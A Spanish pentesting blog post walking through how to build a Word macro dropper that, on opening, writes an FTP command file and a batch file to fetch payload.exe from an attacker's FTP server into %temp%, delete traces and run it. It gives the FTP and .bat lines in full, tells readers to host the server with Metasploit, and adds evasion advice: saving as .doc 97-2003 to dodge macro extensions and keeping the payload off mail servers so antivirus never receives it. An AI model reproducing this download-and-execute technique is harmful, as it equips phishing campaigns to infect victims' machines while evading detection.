28 Marzo, 2017 a las 7:12

Tal y como vimos en la entrada anterior es posible -y sencillo- embeber ficheros .exe y ejecutarlos desde las macros de excel. Esta es una técnica efectiva para ataques de ingeniería social ya que los usuarios suelen desconfiar más a la hora de descargar y ejecutar un fichero .exe que de un .doc, además, esta extensión suele pasar mas desapercibida para sistemas de filtrado por extensiones.

El método que veremos hoy es muy similar -por no decir igual- al que utiliza el falso e-mail de Hacienda que están recibiendo miles de usuarios españoles últimamente y que ha copado páginas de periódicos y webs de noticias. Es importante conocer como funciona cualquier tipo de malware a la hora de crear defensas, así como de concienciar a los usuarios de hacer un uso responsable y no abrir documentos potencialmente peligrosos.

En la primera entrada utilizamos la herramienta exe2vba que viene dentro de la carpeta de Metasploit Framework. Para esta segunda entrada crearemos nuestra propia macro capaz de descargar un archivo desde un servidor ftp y ejecutarlo.

En mi caso particular me parece mas interesante este método a embeber el ejecutable dentro de Word ya que es mas difícil de detectar y, en caso de ser detectado y enviado a una BBDD de alguna compañía antivirus se enviará únicamente el fichero de Word y no el payload, ya que no se encuentra en el equipo ni viaja por los servidores de correo, etc.

Igual que en la entrada anterior he preparado un vídeo donde explico paso a paso como hacerlo como prueba de concepto.

Descargar y ejecutar un ejecutable desde un macro de Office

El primer paso, es como es obvio poner en marcha nuestro servidor FTP. En la práctica lo haremos usando el auxiliar de Metasploit auxiliary/server/ftp. Ahí estableceremos la ruta donde se almacenarán los ficheros del FTP así como el usuario y contraseña. Por último lo ejecutamos en el background con run -j

A continuación crearemos desde Office un fichero Word y generaremos un macro. Este macro debe hacer lo siguiente:

Generar un fichero de comandos FTP:  El comando FTP de Windows tiene una particularidad al ser invocado y es que podemos definirle un fichero de texto que contenga todas las ordenes a ejecutar. Nuestra macro debe crear un archivo que contenga todas las ordenes necesarias para que el comando FTP se conecte al servidor FTP y descargue el archivo necesario en la ruta que queramos y se desconecte. En nuestro caso el fichero generado contendrá algo similar a esto:

open IP_SERVIDOR_FTP
user USUARIO_FTP PASSWORD_FTP
binary
get payload.exe %temp%\payload.exe
bye

Para crear este fichero podemos hacer uso de las funciones Open y Print de Visual Basic, mas adelante tenéis una imagen de como hacerlo.

Generar un fichero bat: Este fichero lo generaremos, al igual que el fichero de comandos usando las funciones Open y Print y lo que debe hacer es invocar el comando ftp con el parámetro -s para definirle el fichero de comandos que hemos generado anteriormente, después de invocarlo borrará este fichero el cual ya no necesitaremos (pues ya habrá descargado nuestro payload) e invocará el payload. En nuestro caso el fichero .bat resultante queda algo así:

ftp -n -v -s:RUTA_DEL_FICHERO_DE_COMANDOS.txt
del RUTA_DEL_FICHERO_DE_COMANDOS.txt
%temp%\payload.exe

Aquí podéis ver un ejemplo del macro que yo he creado:

Ahora, tal y como vimos en la primera entrega guardaremos el fichero con extensión .doc 97-2003. Usamos esta versión para evitar tener que utilizar extensiones mas sospechosas como docm o xlsm, que son las que se utilizan para los ficheros de macros a partir de Office 2010.

Con esto estaría todo listo para que el usuario abriera el fichero de Word y al ejecutar la macro se descargase el ejecutable y se inicialice.

Acerca de Miguel Díaz

Informático, enamorado de la programación, diseño Web y el deporte.
Categorías: Malware, Pentesting, Programación. Etiquetas: , , , , , , , , , .

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *